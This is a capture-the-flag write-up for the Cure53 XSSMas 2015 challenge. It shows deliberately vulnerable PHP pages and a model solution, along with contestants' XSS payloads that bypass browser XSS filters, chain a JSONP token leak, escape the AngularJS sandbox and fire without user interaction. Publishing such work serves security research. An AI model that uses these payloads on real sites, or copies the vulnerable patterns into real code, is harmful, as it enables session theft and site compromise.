Skip to content
This repository has been archived by the owner on Jul 4, 2023. It is now read-only.

XSSMas Challenge 2015

Cure53 edited this page Feb 6, 2016 · 22 revisions

Index

Introduction

This is the writeup of the Cure53 XSSMas Challenge '15. Shown below is the source code of the challenge arena, a high-level explanation of what steps were necessary to solve it and a list of evil bits we implemented to make the contestants lives a bit harder.

We will further of course show the submissions, crown the winners and bathe them in glory and fame as we do every year and will do, if the world keeps turning.

The challenge was curated by @0x6D6172696F, @mmrupp and @filedescriptor. An overall of 2.500,00 EUR will be paid out to the winners. The challenge was hosted by @cure53berlin

Over the course of the challenge, an overall of 1.882 messages was exchanged between the curators. Several hundred mails, DMs and chat messages were exchanged between curators and contestants. The planning and implementation of the challenge started on December 11th, 2015.

Challenge Source Code & Explanations

The challenge bed was written in PHP and consisted of four separate (relevant) pages:

index.php

<!--

Handcrafted from home-grown, whip-creamed HTML elements by @filedescriptor and @0x6D6172696F
Sponsored with sweet sweet money and hosting by @cure53berlin and @mmrupp

As usual, consider this challenge to be the work of mad men. Nothing here will make sense. Until you win it.

-->
<?php
	$spells = array(
		'BEHIND YOU!!1', 
		'What is that smell?', 
		'Transform into a target', 
		'Flexible layouts are hard',
		'No one actually needs CSS',
		'We will all miss MSIE',
		'We will all miss Firefox',
		'-moz-expression(alert(1))',
		'Real men don\'t use CSP',
		'Real women don\'t use XFO',
		'Sell all your goods and convert to PDF!',
		'I should not have let Freddy into that training...',
		'Is it 2016 already?',
		'What time is it?',
		'What year is it?',
		'Will Firefox ever get an XSS filter?',
		'I hope Chrome implements CSS Shaders',
		'You forgot autocomplete off! Where is my bug bounty!',
		'Given enough eyes, all challenges are shallow',
		'This website is secured by Threatbutt CyberSomething',
		'None of the things in this title are actually funny',
		'What happened to JSSS?',
		'alert, autofocus and onblur? You really thought that one through!',
		'and the amazing potential of \'-confirm(1)-\'',
		'AngularJS is like the witch. And Hansel and Gretel have to bypass the sandbox.',
		'"Oh FFS Hansel, breadcrumb navigation? Really? Thanks, doofus!"',
		'Never forget - it is just a website. No one actually cares.',
		'Some of this gibberish here might contain hints',
		'We need a Manhattan Project for base64!',
		'Almost tastes like chicken.',
		'This challenge is a safe-space for all of us!',
		'Goddamn framework-XSS hipsters and their expressions',
		'I wonder why we still support secure UI research? Ain\'t that a dead horse?',
		'I was close to solve it but then I took an arrow in the knee',
		'I was close to solve it but then *squaaaak*',
		'What are clouds?'
	);
	$chosen = $spells[rand(0, count($spells)-1)];
?>
<title>Cure53 XSSMas Challenge 2015 - <?php echo $chosen; ?></title>
<meta charset="utf-8">
<?php

// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=utf-8');

// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
#ini_set('session.cookie_secure',1); // No SSL for now	
ini_set('session.use_only_cookies',1);

session_start();
session_regenerate_id();

// set entry token for token.php
$_SESSION['token'] = uniqid();
?>
<style>
	* {font-family: "Comic Sans MS", cursive, sans-serif}
	p {width: 80%}
</style>
<h1>Ho, ho, ho! The Cure53 XSSMas Challenge is here!</h1>
<h2>Giddy up that reindeer and off we go for a wild ride into the world of crazy browser features.</h2>
<h3>We're in the year <?php echo date('Y') ?> and things got even crazier than they ever were before. Thanks for being reliable on that, vendors!</h3>
<p>
	Welcome to the annual Cure53 XSSMas Challenge: Like every year, we present the likely to be finest and fiercest of all XSS challenges. 
	There is one final goal - but many ways to reach it. An overall of four steps have to be completed. At least. Or is there a way to directly alert the final secret and win? Who knows...
</p>
<h2 style="color:red">The challenge is over! Write-Up soon!</h2>
<p>
	You win the challenge if you make it through to the file <code>index3.php</code> without a 404, alert its location with the necessary token attached and send us a link to reproduce exactly that. 
	Note, that we don't allow any user interaction this year. If we click your link and nothing happens, you probably didn't win.
</p>
<div style="padding: 10px; border: 15px ridge red;">
This is Santa's Mailbox. It really is! You can place a letter to Santa by using the GET parameter "xss". Strange coincidence, right?
<hr />
<div class='<?php echo htmlentities(str_replace('<script>', '', $_GET['xss'])); ?>'>·–·</div>
</div>
<h2>But Santa, oh Santa, what are the rules?</h2>
<ol>
	<li>Your task is to find the final present in Santa's bag of tricks</li>
	<li>You cannot rely on user interaction. Ever. Not even mild one.</li>
	<li>The solution has to come as a URL. Via JSFiddle or whatever you think is right</li>
	<li>The sender of the first valid solution will win <b>1000 EUR</b></li>
	<li title="We count every byte of payload. And we have the last word on this :)">The shortest solution (counted in bytes, Ben! :P) before the challenge ends will win a <b>750 EUR Bonus</b></li>
	<li>We will update the score-board regularly. The challenge ends on 31st of January 2016 12:00 at noon, CET</li>
	<li>Being the first and the shortest at the same time is possible, Masato :D</li>
	<li>Present to us a solution that will alert Santa's final present. The token to XSSMas Kingdom!</li>
    <li>No trash-browsers, solution MUST work in latest version of either FF, Chrome, Opera or Edge. No MSIE!</li>
</ol>
<h2>Now, what am I supposed to do to avoid becoming reindeer fodder?</h2>
<ol>
	<li>Exploit the XSS on this page without user interaction</li>
	<li>Leak the token from <code>token.php</code></li>
	<li title="More hints will be here soon!"><i>index.php</i> can be solved by injecting <b>two</b> attributes.</li>
	<li>It's stripping that bypasses the XSS filter</li>
	<li>██████████████████████████████████████████████████████████████████<?php //Inject JavaScript in <code>index3.php</code> to alert <code>window.location</code>?></li>
	<li>Wrap it all up in one URL, shorten, send us the URL, win!</li>  
</ol>
<h2>Why would I do all that!</h2>
<ol>
	<li>Because it's fun!</li>
	<li>You'll learn crazy things!</li>
	<li>You might win one of two cash prizes :) Or both at the same time!</li> 
</ol>
<p>
	Now go forth and crack the XSSMas Challenge :D And let us, <a href="https://twitter.com/filedescriptor">@filedescriptor</a> and <a href="https://twitter.com/0x6D6172696F">@0x6D6172696F</a> know how you like it or if something is broken!
</p>
<p>
	Solved it? Mail us! You'll find out how :)
</p>
<h2>Winners</h2>
<ol>
    <li>You?</li>
</ol>
<script src="token.php?token=<?php echo session_id();?>&callback=document.write"></script>

This is a warm-up stage to test your knowledge of user interaction free vectors, and requires you to do a little bit fuzzing. The trick is that for most of the visible elements, using either contenteditable or tabindex makes them focusable. After that you can assign an id to such element and reference it using URL fragment (In Chrome and Edge the referenced element will be focused once the page is loaded) with onfocus. Since XSS Auditor is enabled, you will also have to figure out the string <script> is being stripped and can be abused to trick the auditor.

token.php

<?php
// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/javascript; charset=utf-8');

// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure',1);
ini_set('session.use_only_cookies',1);

// start session management
session_start();
// DO NOT REGENERATE EVER

?>
// authorization API (for local testing)
// don't use it in production otherwise it'll always return "Access Denied"
// real (wo)men don't use CORS, duh
<?php
// check if callback format and token are valid, forbid same origin requests
if (preg_match('#^[\w.]+$#', $_GET['callback']) && $_GET['token'] === session_id() && !empty($_SERVER['HTTP_REFERER']) && !preg_match('#\.cure53\.#i', $_SERVER['HTTP_REFERER'])) {
	?>
if (document.location.href == document.location.protocol + '//localhost' + location.pathname)
  <?php echo $_GET['callback']; ?>({"callback_url":"index2.php?token=<?php echo $_SESSION['token']; ?>"});
else
  <?php echo $_GET['callback']; ?>({"callback_url":"Access Denied"});
<?php
} else {
	// session or callback format is not valid, deny service
	echo $_GET['callback'] . '({"callback_url":"Access Denied"})';
}
?>

token.php is an JSONP API endpoint with suspicious client-side protections to restrict embedded from anything other than localhost. Due to the fact that certain properties of document.location are immune to changes, one cannot simply override them to bypass it because any modification will trigger navigation. The trick here is to embed the it under the Web Worker context. In Web Worker scope there are not so many predefined host objects (i.e. document and location), so that one can create them and embed it using Web Worker to bypass the check to get the token.

index2.php

<!--

"One man's scope is another man's hope. 
	Don't put reindeer-poop in the sandbox!"

Robert De Niro

--><?php

// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=utf-8');

// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure',1); // No SSL for now
ini_set('session.use_only_cookies',1);

// start session management
session_start();
// DO NOT REGENERATE YET

// check if we have the right session from index.php
if($_SESSION['token'] && $_GET['token'] === $_SESSION['token']){
	
	// make sure we get a new session for index3.php
	session_regenerate_id();
	
// if all is fine, show the markup below
?>
<!doctype html>
<html lang="en" ng-app="x">
<head>
  <script src="angular.js"></script>
  <script src="client.js"></script>
  <style>
	* {font-family: "Comic Sans MS", cursive, sans-serif}
	p {width: 80%}
  </style>
</head>
<body ng-controller="y" id="test">
	<h2>GET the Letters of the Alphabet</h2>
  	<ul><?php
  	
  		/**
  		 * What we want people to do here is either use a sandbox bypass 
  		 * or use the existing function on scope. The function in scope is long.
  		 * 
  		 * People can use that to avoid finding a bypass. But with a working 
  		 * bypass, you will get a much shorter submission.
  		 * 
  		 * Note, that length restrictions make everything a bit harder here :)
  		 */ 
  	
  		?>
  		<li>A <?php echo htmlentities(substr($_GET['a'], 0, 5)); ?></li>
  		<li>B <?php echo htmlentities(substr($_GET['b'], 0, 6)); ?></li>
  		<li>C <?php echo htmlentities(substr($_GET['c'], 0, 7)); ?></li>
  		<li>D <?php echo htmlentities(substr($_GET['d'], 0, 8)); ?></li>
  		<li>E <?php echo htmlentities(substr($_GET['e'], 0, 9)); ?></li>
  		<li>F <?php echo htmlentities(substr($_GET['f'], 0, 10)); ?></li>
  		<li>G <?php echo htmlentities(substr($_GET['g'], 0, 11)); ?></li>
  		<li>H <?php echo htmlentities(substr($_GET['h'], 0, 12)); ?></li>
  		<li>I <?php echo htmlentities(substr($_GET['i'], 0, 13)); ?></li>
  		<li>J <?php echo htmlentities(substr($_GET['j'], 0, 14)); ?></li>
  		<li>K <?php echo htmlentities(substr($_GET['k'], 0, 15)); ?></li>
  		<li>L <?php echo htmlentities(substr($_GET['l'], 0, 16)); ?></li>
  		<li>M <?php echo htmlentities(substr($_GET['m'], 0, 17)); ?></li>
  		<li>N <?php echo htmlentities(substr($_GET['n'], 0, 18)); ?></li>
  		<li>O <?php echo htmlentities(substr($_GET['o'], 0, 19)); ?></li>
  		<li>P <?php echo htmlentities(substr($_GET['p'], 0, 20)); ?></li>
  		<li>Q <?php echo htmlentities(substr($_GET['q'], 0, 21)); ?></li>
  		<li>R <?php echo htmlentities(substr($_GET['r'], 0, 22)); ?></li>
  		<li>S <?php echo htmlentities(substr($_GET['s'], 0, 23)); ?></li>
  		<li>T <?php echo htmlentities(substr($_GET['t'], 0, 24)); ?></li>
  		<li>U <?php echo htmlentities(substr($_GET['u'], 0, 25)); ?></li>
  		<li>V <?php echo htmlentities(substr($_GET['v'], 0, 26)); ?></li>
  		<li>W <?php echo htmlentities(substr($_GET['w'], 0, 27)); ?></li>
  		<li>X <?php echo htmlentities(substr($_GET['x'], 0, 28)); ?></li>
  		<li>Y <?php echo htmlentities(substr($_GET['y'], 0, 29)); ?></li>
  		<li>Z <?php echo htmlentities(substr($_GET['z'], 0, 30)); ?></li>
  	</ul>
</body>
<!-- index3.php?token=<?php echo session_id(); ?> -->
</html>
<?php
} else {
	// session is not valid, deny service
	http_response_code(404);
	echo '<h1>404 Not Found</h1><iframe style="opacity:0" src="https://www.youtube.com/v/q8Z28kSiMKE?autoplay=true" height=600 width=800>x</iframe>';
}

?>

client.js

angular.module('x', []).controller('y', function($scope) {
  $scope.mapContentFromURLToHTMLAndRenderButOhMyTheFunctionNameIsSoLongThatItKindaFeelsWrongToUseItRight   = function() {
      document.getElementById('test').innerHTML=document.URL;
  }
  $scope.mapContentFromURLToHTMLAndRenderAndDoThatUsingECMASCript6BecauseWhyNotRight = function*(){
      // This is too fancy, remove later on...
  }
});

At this stage a Single Page Application using AngularJS is presented. The title reveals that the inputs are the 26 alphabets. All inputs are sanitized but template injection is possible. Although guarded by the expression sandbox, there are two ways to execute custom codes: use the existing function on scope or a sandbox bypass. Note that each input has a different length restriction, and string concatenation is needed in this case.

index3.php

<!--

"I ate a hash brownie while going to target 
	at the end of a full-moon phase. 
		Bro, it was a crazy experience." *makes a gang sign*

Albert Einstein

-->
<?php

/**
Model-Solution here:

<style>
.box {
    width: 100px;
}

.box:target {
    width: 200px;
}
</style>
<body>
    <div id="xxx" onwebkittransitionend="alert(1)" style="-webkit-transition: width .1s;" class="box"></div>
</body>


 */

// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=utf-8');

// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure',1); // No SSL for now	
ini_set('session.use_only_cookies',1);

// start session management
session_start();
// DO NOT REGENERATE YET

// check if we have the right session from index.php
// Also check if the contestant "really" comes from index2.php :D
if($_GET['token'] === session_id() && strpos($_SERVER['HTTP_REFERER'], '/index2.php')){
	
	// make sure we get a new session for index3.php
	session_regenerate_id();
	
	// if all is fine, present an array of events to be filtered
	$events = array(
	    'onabort',
	    'onactivate',
	    'onanimationend',
	    'onanimationiteration',
	    'onanimationstart',
	    'onafterprint',
	    'onafterupdate',
	    'onbeforeactivate',
	    'onbeforecopy',
	    'onbeforecut',
	    'onbeforedeactivate',
	    'onbeforeeditfocus',
	    'onbeforepaste',
	    'onbeforeprint',
	    'onbeforeunload',
	    'onbegin',
	    'onblur',
	    'onbounce',
	    'oncanplay',
	    'oncanplaythrough',
	    'oncellchange',
	    'onchange',
	    'onclick',
	    'oncontextmenu',
	    'oncontrolselect',
	    'oncopy',
	    'oncut',
	    'ondataavailable',
	    'ondatasetchanged',
	    'ondatasetcomplete',
	    'ondblclick',
	    'ondeactivate',
	    'ondrag',
	    'ondragdrop',
	    'ondragend',
	    'ondragenter',
	    'ondragleave',
	    'ondragover',
	    'ondragstart',
	    'ondrop',
	    'ondurationchange',
	    'onemptied',
	    'onend',
	    'onended',
	    'onerror',
	    'onerrorupdate',
	    'onexit',
	    'onfilterchange',
	    'onfinish',
	    'onfocus',
	    'onfocusin',
	    'onfocusout',
	    'onformchange', 
	    'onforminput', 
	    'oninvalid',
	    'onreceived',
	    'onhelp',
	    'onkeydown',
	    'onkeypress',
	    'onkeyup',
	    'onlayoutcomplete',
	    'onload',
	    'onloadeddata',
	    'onloadedmetadata',
	    'onloadstart',
	    'onlosecapture',
	    'onmediacomplete',
	    'onmediaerror',
	    'onmessage',
	    'onmousedown',
	    'onmouseenter',
	    'onmouseleave',
	    'onmousemove',
	    'onmouseout',
	    'onmouseover',
	    'onmouseup',
	    'onmousewheel',
	    'onmove',
	    'onmoveend',
	    'onmovestart',
	    'onoffline',
	    'ononline',
	    'onoutofsync',
	    'onpagehide',
	    'onpageshow',
	    'onpaste',
	    'onpause',
	    'onplay',
	    'onplaying',
	    'oppopstate',
	    'onprogress',
	    'onpropertychange',
	    'onload',
	    'onreadystatechange',
	    'onrepeat',
	    'onreset',
	    'onresize',
	    'onresizeend',
	    'onresizestart',
	    'onresume',
	    'onreverse',
	    'onrowdelete',
	    'onrowenter',
	    'onrowexit',
	    'onrowinserted',
	    'onscroll',
	    'onsearch',
	    'onselect',
	    'onseek',
	    'onseeked', 
	    'onseeking',
	    'onselect',
	    'onselectionchange',
	    'onselectstart',
	    'onstalled',
	    'onstart',
	    'onstorage',
	    'onstop',
	    'onsubmit',
	    'onsuspend',
	    'onsynchrestored',
	    'ontimeerror',
	    'ontimeupdate',
	    'ontrackchange',
	    'ontransitionend',
	    'onunload',
	    'onurlflip',
	    'onvolumechange',
	    'onwaiting',
	    'onwebkitanimationend',
	    'onwebkitanimationiteration',
	    'onwebkitanimationstart',
	    /** 'onwebkittransitionend' < this is the event people should work with **/
	    'contenteditable'
	);
	
	// filter all those events above, like a top-notch anti-APT WAF applicance :D
	$_GET['xss'] = htmlentities(str_ireplace($events, 'onend', $_GET['xss']));
	
	// make sure a user can inject CSS but not leave the STYLE tag
	$_GET['css'] = htmlentities($_GET['css']);
?>
	<style>
	/* Why not get that page some "css"? */
	<?php echo $_GET['css']; ?>
	
	/* 
	   You are very VERY close!
	
	   To win the challenge, make sure your 
	   injection alerts window.location.
	   
	   Without ANY user interaction.
	   
	   If you can do that, you have won! 
	   Then take the link that gets you from 
	   index.php to this point and send it to us. 
	   
	   As JSFiddle, JSBin, link via mail or 
	   whatever is good for you and doesn't 
	   require us to jump through burning hoops :)
	   
	   <[email protected]>
	*/
	</style>
	<p class='<?php echo $_GET['xss']; ?>'></p>
	
	<?php
} else {
	// session is not valid, deny service
	http_response_code(404);
	echo '<h1>404 Not Found</h1><iframe style="opacity:0" src="https://www.youtube.com/v/q8Z28kSiMKE?autoplay=true" height=600 width=800>x</iframe>';
}
?>

At first glance, the final stage looks like the first stage. The only difference is that in here every possible event handler is replaced with onend (we decided to use this to confuse people to play with the onend event :D).

There is also a CSS injection but in modern browsers CSS no longer executes JS. The trick here is that one can notice the event onwebkitanimationend ends exactly with the string onend, so that you can use something like onwebkitanimationcut to let the filter do the work (this also bypasses XSS Auditor). After that you can use the CSS injection to set up an animation to trigger the event with user interaction.

To sum up, what we wanted you to do, is essentially the following:

  • Find a way to bypass the XSS filters of all browsers by realizing, the string <script> is being stripped
  • Find a way to execute the injected script on index.php without user interaction
  • Then steal the token from token.php to get to index2.php
  • There you would have to either bypass the AngularJS sandbox or create a very long submission with the implicit bypass we created for you
  • Or be smart and realize, that you can bypass index2.php completely by messing with the referrer
  • Then to enter index3.php and create XSS without user interaction again, despite the much harder conditions here

Model Solution

Shown below is the model solution we used a sanity check and proof-of-concept that the challenge indeed can be solved.

<script>
name=`(localStorage.a=-~localStorage.a)&1?document.body.innerHTML=
'<iframe src=//innerht.ml/challenges/xmas2015/index.php?url='+document.scripts[0].src+'>':
location=(document.documentElement.innerHTML.match(/index.+ /))[0].replace(/ $/, '')
+'&css=.box{width:1px;-webkit-transition:%20width%20.1s}.box:target{width:2px}
&xss=box%27id=x+onwebkittransitionstop=alert(location)+#x'`;
location='https://xssmas2015.cure53.co.uk/?xss=%27tabindex=0+id=a+onfocu%3Cscript%3Es=eval(name)//#a';
</script>

Besides the intended solution which requires challengers to go through all the stages, we have created some subtle shortcuts to make the challenge more interesting (aka shortening). In each stage, we compare the token to prevent challengers from directly jumping to the final stage. It is not hard to notice all tokens are reusable, meaning one can use the token from the first stage tot access the final stage. In order to also prevent such trivial bypass, a rough referrer check which looks for the substring index2.php is employed and of course easy to bypass. All submissions except the first from Masato Kinugawa use the shortcuts.

The Winners

  1. Masato Kinugawa (first)
  2. Pepe Vila (shortest)
  3. Oren, Pepe and Gábor (bonus prizes)

The Submissions

Now for the most interesting part. The submissions of our fellow contestants. We'll show them in the order of length, starting with the longest vectors to keep the excitement.

Some of the vectors, especially the ones submitted early, we decided not to show yet as they contained actual 0-days. We will add them here as soon as they are fixed - in case the finders reported them.

Note, that there was two general approaches to go for. Animations and transitions. We didn't know which one would be better, see for yourself which one did it in the end :) Also not how everybody smoothly gets around the referrer check we implemented in index3.php.

Jontransition Muller (very indicative name btw.), 199 bytes Chrome, no user interaction

First, the old onfocus trick is being used to execute JavaScript on the index.php page. The token is then grabbed and sent to a short URL, which redirects to a page that attacks index3.php.

'onfocus<script>=location.href="//tinyurl.com/zr5n38y?%2526"%2bscripts[0].src.slice(42)%2b"%23x"+id=x+tabindex=1#x

Here, we can see the payload injected in index3.php, triggering XSS via CSS animations and event handlers.

'onanimationcut=alert(location)+id=x+tabindex=0&css=*{animation-name:a}@keyframes+a{} #85

Masato Kinugawa, 154 bytes, Chrome, no user interaction

Masato's first vector worked on Edge. But it contained too much 0-day to show here :D His shortest submission targeted Chrome and uses CSS animations on index3.php.

k/index2.php'o<script>nfocus=location=`index3/${all[58].src}%26xss='onanimationcut='alert(location)%26css=*{animation:a}@keyframes%2Ba{`+id=a+tabindex=0#a

Ben Hayak, 142 bytes, Chrome, no user interaction

This is a true piece of beauty and took a long time to develop. Contrary to most other solutions, it uses CSS transitions instead of animations. No need to use the &css parameter!

'onfocus=location=`<script>index3/index2.php${all[58].src}%26xss='ontransitionunload='alert(URL)'`%2bURL+id=b+style=transition:1s+tabindex=0#b

phiber, 141 bytes, Chrome, no user interaction

Now this is one of the first vectors that used aggressive optimization combined with CSS transitions. Turns out that transitions are shorter than animations - a valuable save of bytes.

'on<script>focus=location=[`index3/index2.php`,all[58].src,URL.replace(/\//g,`transition`)]+on/unload=alert(URL)+id=a+style=/:1s+tabindex=1#a

Gábor Molnár, reached 136 bytes, Chrome, no user interaction

And even more aggressive optimization exposed by this vector. Note, that this vector is only one byte away from the winning vector and almost looks the same.

'on<script>focus=location=[`index3/index2.php`,all[58].src,URL.split`/`.join`transition`]+on//cut=alert(URL)+style=/:1+id=x+tabindex=0#x

Pepe Vila, reached a 135 bytes, Chrome, no user interaction of course

And this is the winner. 135 bytes, that, after the challenge ended were even shortened a bit more. Maybe Pepe will add a comment to this post and show that there was even more shortening potential :D

'style=transition:1s+id=x+onwebkittransitionend=oncut=`<script>`?alert(URL):location=[`index3/index2.php`,all[58].src,URL]+tabindex=1#x

Lessons learned:

  • XSS without user interaction is still possible in most modern browsers.
  • XSS filters just need a bit of replacement done by a website to be universally bypassed.
  • ES6 is a great tool to optimize exploits.
  • CSS and XSS go very well together and finally...
  • Don't rely on flaky referrer based XSS protection :) We built in this bug on purpose but we've seen many cases where this was not the case.

Special Prizes

Some of the submissions we received were so cool, that we decided to award special prizes for them. Those went to:

Pepe Vila

Pepe tried to trick us into believing, that it's fine that the first alert pops on the index.php page - and the seconds one on index3.php.

'style=transition:1s+id=x+onwebkittransitionend=alert(URL)?oncut:location=`<script>index3/index2.php${all[56].src}${URL}`+tabindex=1#x

For a second we agreed but then, after talking with other challengers, concluded that this is not according to the rules. So, we awarded a prize for creativity and moved on. Others had the dame idea later on - better luck next time :)

Oren Hafif

Oren was causing a server error to yield in token.php by using an overlong path name. That caused the challenge setup to misbehave and allow him for a very short submission - assuming only the ?xss-parameter payload would be counted.

/index.php/index2.php/   aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa